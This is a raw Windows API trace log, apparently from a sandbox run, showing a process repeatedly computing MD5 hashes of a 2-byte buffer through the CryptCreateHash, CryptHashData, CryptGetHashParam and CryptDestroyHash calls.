	[0086.371] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.371] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.371] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.371] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.371] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.371] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.371] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.371] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.371] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.371] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.371] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.371] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.371] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.372] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.372] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.372] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.372] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.372] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.372] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.372] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.372] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.372] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.372] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.372] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.372] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.372] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.372] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.372] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.373] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.373] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.373] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.373] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.373] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.373] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.373] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.373] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.373] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.373] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.373] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.373] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.373] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.373] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.374] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.374] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.374] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.374] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.374] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.374] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.374] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.374] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.374] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.374] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.374] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.374] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.374] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.374] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.374] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.374] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.374] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.375] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.375] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.375] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.375] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.375] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.375] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.375] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.375] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.375] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.375] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.375] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.375] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.375] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.375] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.375] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.375] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.376] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.376] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.376] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.376] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.376] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.376] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.376] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.376] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.376] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.376] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.376] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.376] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.376] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.468] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.468] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.469] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.469] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.469] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.469] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.469] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.469] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.469] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.469] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.469] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.469] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.469] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.469] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.469] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.469] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.469] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.469] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.470] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.470] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.470] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.470] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.470] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.470] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.471] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.471] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.471] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.471] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.471] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.471] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.471] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.471] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.471] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.471] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.471] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.472] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.472] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.472] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.472] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.472] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.472] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.472] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.472] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.472] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.472] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.472] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.472] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.472] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.472] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.473] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.473] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.473] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.473] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.473] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.473] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.473] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.473] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.473] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.473] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.473] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.473] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.473] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.473] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.474] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.474] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.474] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.474] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.474] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.474] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.474] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.474] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.474] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.474] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.474] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.474] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.474] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.474] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.474] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.474] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.475] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.475] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.475] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.475] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.475] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.475] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.475] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.475] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.475] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.475] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.475] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.475] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.475] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.475] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.476] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.476] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.476] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.476] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.476] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.476] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.476] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.476] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.476] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.476] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.476] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.476] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.476] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.476] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.476] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.476] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.477] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.477] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.477] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.477] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.477] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.477] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.477] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.477] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.477] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.477] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.477] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
